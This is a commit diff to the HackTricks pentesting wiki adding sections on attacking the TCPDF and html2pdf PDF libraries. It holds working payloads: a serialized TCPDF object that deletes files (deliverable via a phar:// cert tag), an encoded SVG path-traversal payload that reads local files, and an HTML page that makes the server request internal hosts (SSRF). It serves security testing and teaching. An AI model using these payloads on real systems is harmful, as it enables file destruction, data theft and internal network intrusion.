Skip to content

Commit 8467a28

Browse files
authored
Merge pull request #1721 from HackTricks-wiki/update_Blind_Trust__What_Is_Hidden_Behind_the_Process_of__20251229_183710
Blind Trust What Is Hidden Behind the Process of Creating Yo...
2 parents 2137e2f + 8bb3f74 commit 8467a28

File tree

3 files changed

+73
-0
lines changed

3 files changed

+73
-0
lines changed

src/pentesting-web/deserialization/php-deserialization-+-autoload-classes.md

Lines changed: 34 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -67,6 +67,40 @@ a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"Guzz
6767

6868
I needed to **call this deserialization twice**. In my testing, the first time the `/tmp/a.php` file was created but not loaded, and the second time it was correctly loaded.
6969

70+
## TCPDF `__destruct` POP chain for arbitrary file deletion
71+
72+
When a real `TCPDF` instance is garbage-collected it calls `_destroy(true)`, iterates over `$this->imagekeys`, and `unlink()`s anything that looks like a cache file under `K_PATH_CACHE`. If an application performs `unserialize($user_data)` while the `TCPDF` class is loaded (e.g. it expects an array with an `html` key), you can supply a serialized object that sets:
73+
74+
- `file_id` to any integer that is not present in `self::$cleaned_ids` (e.g. `-1`).
75+
- `imagekeys` to paths that begin with `K_PATH_CACHE` or that can be made to look like it (e.g. `/tmp/../tmp/do_not_delete_this_file.txt` when `K_PATH_CACHE` is `/tmp/`).
76+
77+
Example payload hitting an unsafe `unserialize($_GET['p']); $pdf->writeHTML($payload['html']);` flow:
78+
79+
```text
80+
a:1:{s:4:"html";O:5:"TCPDF":2:{s:7:"file_id";i:-1;s:9:"imagekeys";a:1:{i:0;s:39:"/tmp/../tmp/do_not_delete_this_file.txt";}}}
81+
```
82+
83+
The file is deleted as soon as the object falls out of scope. TCPDF 6.9.3 tightened the check to only remove paths with the `__tcpdf_<file_id>_` prefix inside `K_PATH_CACHE` and introduced `_unlink()` to block non-`file://` schemes, so older `Producer` versions are prime targets.
84+
85+
### Triggering the gadget via `phar://` in html2pdf `<cert>` tags
86+
87+
`spipu/html2pdf` (≤5.3.0) wraps TCPDF and exposes a custom `<cert>` block whose `src`/`privkey` attributes are validated with plain `file_exists()`. On PHP < 8.0 any filesystem function that touches a `phar://` URL causes the Phar metadata to be unserialized. By storing the malicious TCPDF object above inside a Phar archive you gain a reliable POP even if the application never calls `unserialize()` itself.
88+
89+
1. Craft a Phar with `phar.readonly=0`, set the stub/manifest to look like an image (e.g. rename `archive.phar` to `archive.png`), and store the serialized TCPDF object in the Phar metadata.
90+
2. Upload/place the file somewhere reachable such as `/tmp/user_files/user_1/archive.png`.
91+
3. Submit HTML containing the CERT tag so html2pdf resolves the attacker-controlled path:
92+
93+
```html
94+
<cert src="phar:///tmp/user_files/user_1/archive.png"
95+
privkey="phar:///tmp/user_files/user_1/archive.png" />
96+
```
97+
98+
The call to `file_exists()` deserializes the metadata, instantiates TCPDF, and its destructor deletes the chosen file, turning html2pdf into a powerful `phar://` entry point. Version 5.3.1 added `Security::checkValidPath()` to block unapproved schemes, so legacy deployments remain attractive.
99+
100+
## References
101+
102+
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
103+
70104
{{#include ../../banners/hacktricks-training.md}}
71105

72106

src/pentesting-web/file-inclusion/README.md

Lines changed: 19 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -88,6 +88,24 @@ http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd
8888
http://example.com/index.php?page=%252e%252e%252fetc%252fpasswd%00
8989
```
9090

91+
### HTML-to-PDF SVG/IMG path traversal
92+
93+
Modern HTML-to-PDF engines (e.g. **TCPDF** or wrappers such as **html2pdf**) happily parse attacker-provided HTML, SVG, CSS, and font URLs, yet they run inside trusted backend networks with filesystem access. Once you can inject HTML into `$pdf->writeHTML()`/`Html2Pdf::writeHTML()`, you can often exfiltrate local files that the web server account can read.
94+
95+
- **Fingerprint the renderer**: every generated PDF contains a `Producer` field (e.g. `TCPDF 6.8.2`). Knowing the exact build tells you which path filters exist and whether URL decoding occurs before validation.
96+
- **Inline SVG payloads**: `TCPDF::startSVGElementHandler()` reads the `xlink:href` attribute from `<image>` elements before running `urldecode()`. Embedding a malicious SVG inside a data URI makes many HTML sanitizers ignore the payload while TCPDF still parses it:
97+
98+
```
99+
<img src="data:image/svg+xml;base64,PHN2ZyB2aWV3Qm94PSIwIDAgMCAwIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciPjxpbWFnZSB4bGluazpocmVmPSIuLi8uLi8uLi8uLi8uLi90bXAvdXNlcl9maWxlcy91c2VyXzEvcHJpdmF0ZV9pbWFnZS5wbmciIGhlaWdodD0iMTAwJSIgd2lkdGg9IjEwMCUiLz48L3N2Zz4=" />
100+
```
101+
102+
TCPDF prepends `$_SERVER['DOCUMENT_ROOT']` to paths beginning with `/` and only later resolves `..`, so use either leading `../../..` segments or `/../../..` to escape the root after the prepend.
103+
- **Encoding to bypass naive filters**: Versions ≤6.8.2 only check for the literal substring `../` *before* decoding the URL. Sending `..%2f` (or `..%2F`) in the SVG or in a raw `<img src>` attribute bypasses the check, because the traversal dot-dot-slash sequence is recreated only after TCPDF calls `urldecode()`.
104+
- **Double-encoding for multi-stage decoding**: If user input is decoded by the web framework *and* by TCPDF, double-encode the slash (`%252f`). One decode turns it into `%2f`, the second decode in TCPDF turns it into `/`, yielding `/..%252f..``/../../../…` without ever showing `../` to the early filter.
105+
- **HTML `<img>` handler**: `TCPDF::openHTMLTagHandler()` contains the same order-of-operations bug, allowing direct HTML payloads such as `src="%2f..%252f..%252ftmp%252fsecret.png"` to read any locally reachable bitmap.
106+
107+
This technique leaks anything readable by the PDF worker (passport scans, API keys rendered as images, etc.). Hardeners fixed it in 6.9.1 by canonicalising paths (`isRelativePath()`), so during tests prioritise older `Producer` versions.
108+
91109
### From existent folder
92110

93111
Maybe the back-end is checking the folder path:
@@ -787,6 +805,7 @@ _Even if you cause a PHP Fatal Error, PHP temporary files uploaded are deleted._
787805
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
788806

789807
- [When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise](https://www.rcesecurity.com/2025/09/when-audits-fail-four-critical-pre-auth-vulnerabilities-in-trufusion-enterprise/)
808+
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
790809

791810
{{#file}}
792811
EN-Local-File-Inclusion-1.pdf

src/pentesting-web/ssrf-server-side-request-forgery/README.md

Lines changed: 20 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -361,6 +361,25 @@ def start():
361361

362362
Note that this is interesting to leak status codes that you couldn't leak before (like a 200). However, if somehow you could also select the status code of the response (imagine that you can decide that the AWS metadata responds with a 500 status code), **there might be some status codes that directly leak the content of the response.**
363363

364+
### HTML-to-PDF renderers as blind SSRF gadgets
365+
366+
Libraries such as **TCPDF** (and wrappers like **spipu/html2pdf**) will automatically fetch any URLs present in attacker-controlled HTML while rendering a PDF. Each `<img>` or `<link rel="stylesheet">` attribute is resolved server-side via cURL, `getimagesize()`, or `file_get_contents()`, so you can drive the PDF worker to probe internal hosts even though no HTTP response is reflected to you.
367+
368+
```
369+
<html>
370+
<body>
371+
<img width="1" height="1" src="http://127.0.0.1:8080/healthz">
372+
<link rel="stylesheet" type="text/css" href="http://10.0.0.5/admin" />
373+
</body>
374+
</html>
375+
```
376+
377+
- TCPDF 6.10.0 issues several retrieval attempts for each `<img>` resource, so a single payload can generate multiple requests (helpful for timing-based port scans).
378+
- html2pdf copies TCPDF’s behaviour for `<img>` and adds CSS fetching inside `Css::extractStyle()`, which simply calls `file_get_contents($href)` after a shallow scheme check. Abuse it to hit loopback services, RFC1918 ranges, or cloud metadata endpoints.
379+
- Combine this SSRF primitive with the [HTML-to-PDF path traversal tricks](../file-inclusion/README.md#html-to-pdf-svgimg-path-traversal) to leak both internal HTTP responses and local files rendered into the PDF.
380+
381+
Hardeners should strip external URLs before rendering or isolate the renderer in a network sandbox; until then, treat PDF generators as blind SSRF proxies.
382+
364383
## Cloud SSRF Exploitation
365384

366385
If you find a SSRF vulnerability in a machine running inside a cloud environment you might be able to obtain interesting information about the cloud environment and even credentials:
@@ -421,5 +440,6 @@ https://github.com/incredibleindishell/SSRF_Vulnerable_Lab
421440
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Request%20Forgery)
422441
- [https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/](https://www.invicti.com/blog/web-security/ssrf-vulnerabilities-caused-by-sni-proxy-misconfigurations/)
423442
- [https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies)
443+
- [Positive Technologies – Blind Trust: What Is Hidden Behind the Process of Creating Your PDF File?](https://swarm.ptsecurity.com/blind-trust-what-is-hidden-behind-the-process-of-creating-your-pdf-file/)
424444

425445
{{#include ../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)